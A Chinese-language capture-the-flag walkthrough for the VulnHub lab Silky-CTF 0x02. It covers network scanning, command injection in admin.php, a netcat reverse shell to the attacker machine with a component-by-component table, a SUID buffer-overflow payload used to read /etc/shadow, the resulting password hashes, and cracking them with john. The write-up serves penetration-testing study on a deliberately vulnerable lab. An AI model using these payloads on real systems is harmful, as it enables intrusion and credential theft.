Silky-CTF: 0x02靶场
Silky-CTF: 0x02
来自 <Silky-CTF: 0x02 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.131
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.131
4,访问80端口开放的http服务
dirsearch -u http://192.168.23.131/ -x 403,404
http://192.168.23.131/admin.php
对这个登录系统进行漏洞验证,发现username提交表单处存在命令执行漏洞
http://192.168.23.131/admin.php?username=id&password=1
然后再反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.23.128 4444 >/tmp/f
序号 | 命令片段 | 作用 | 技术原理 |
1 | rm /tmp/f; | 删除可能已存在的旧文件 /tmp/f | 清理残留文件,避免命名冲突 |
2 | mkfifo /tmp/f; | 创建命名管道文件 /tmp/f | 建立 FIFO(先进先出)管道,实现进程间通信 |
3 | cat /tmp/f | 读取管道文件的内容 | 将管道数据作为输入流 |
4 | | | 管道操作符 | 将前一命令的输出作为后一命令的输入 |
5 | bash -i | 启动交互式 Bash Shell | -i 参数开启交互模式,支持用户输入 |
6 | 2>&1 | 将标准错误输出重定向到标准输出 | 合并错误流和输出流,确保错误信息不丢失 |
7 | | nc 192.168.23.128 4444 | 通过 netcat 连接到攻击机 192.168.23.128 的 4444 端口 | 建立 反向 TCP 连接(目标机主动连接攻击者) |
8 | > /tmp/f | 将 netcat 接收的数据写入管道文件 | 完成 数据循环:攻击者输入 → 管道 → Bash 执行 → 结果回传 → 管道 |
成功getshell
5,查找SUID文件进行提权
find / -user root -perm -4000 -print 2>/dev/null
查看一下这个文件
cd /home/silky
stat cat_shadow
./cat_shadow 123456
存在缓冲区溢出漏洞,利用之
./cat_shadow $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')
查看到了/etc/shadow文件内容,此时可以对root、silky用户的密码进行爆破
stat 命令作用详解
stat 是 Linux/Unix 系统中用于显示文件或文件系统的详细状态信息的核心命令。
功能类别 | 具体作用 | 示例输出字段 |
文件基本信息 | 显示文件的名称 | File |
显示文件的大小(字节) | Size | |
显示文件占用的磁盘块数 | Blocks | |
显示文件类型(普通文件、目录、符号链接等) | File type | |
文件标识信息 | 显示文件的设备号(设备ID) | Device |
显示文件的 inode 号(索引节点号) | Inode | |
显示文件的硬链接数量 | Links | |
权限与所有权 | 显示文件的权限(八进制和字符表示) | Access: (0644/-rw-r--r--) |
显示文件的所有者用户 ID 和组 ID | Uid, Gid | |
时间戳信息 | 显示最后访问时间(Access Time) | Access |
显示最后修改时间(Modify Time) | Modify | |
显示最后状态更改时间(Change Time,如权限、所有权等改变) | Change | |
显示文件创建时间(Birth Time,部分系统支持) | Birth | |
文件系统信息 | 显示文件所在文件系统的块大小 | IO Block |
显示文件所在的设备(如果是特殊设备文件) | Device type |
6,将加密内容写入文本
root:$6$L69RL59x$ONQl06MP37LfjyFBGlQ5TYtdDqEZEe0yIZIuTHASQG/dgH3Te0fJII/Wtdbu0PA3D/RTxJURc.Ses60j0GFyF/:18012:0:99999:7:::
silky:$6$F0T5vQMg$BKnwGPZ17UHvqZLOVFVCUh6CrsZ5Eu8BLT1/uX3h44wtEoDt9qA2dYL04CMUXHw2Km9H.tttNiyaCHwQQ..2T0:18012:0:99999:7:::
vim passwd
gunzip /usr/share/wordlists/rockyou.txt.gz
cp /usr/share/wordlists/rockyou.txt .
john --wordlist=rockyou.txt passwd
7,然后ssh登录192.168.23.131
python -c 'import pty;pty.spawn("/bin/bash")'
su
SHELL=/bin/bash script -q /dev/null
组件 | 作用 | 技术原理 |
SHELL=/bin/bash | 设置环境变量 SHELL 值为 /bin/bash | 指定后续命令使用的 Shell 解释器为 Bash |
script | 启动终端会话录制工具 | 捕获终端的所有输入输出并保存到文件 |
-q | 安静模式 (quiet) | 隐藏 script 自身的启动/结束提示信息(如 "Script started...") |
/dev/null | 指定输出文件为系统空设备 | 丢弃所有录制内容(不保存到磁盘) |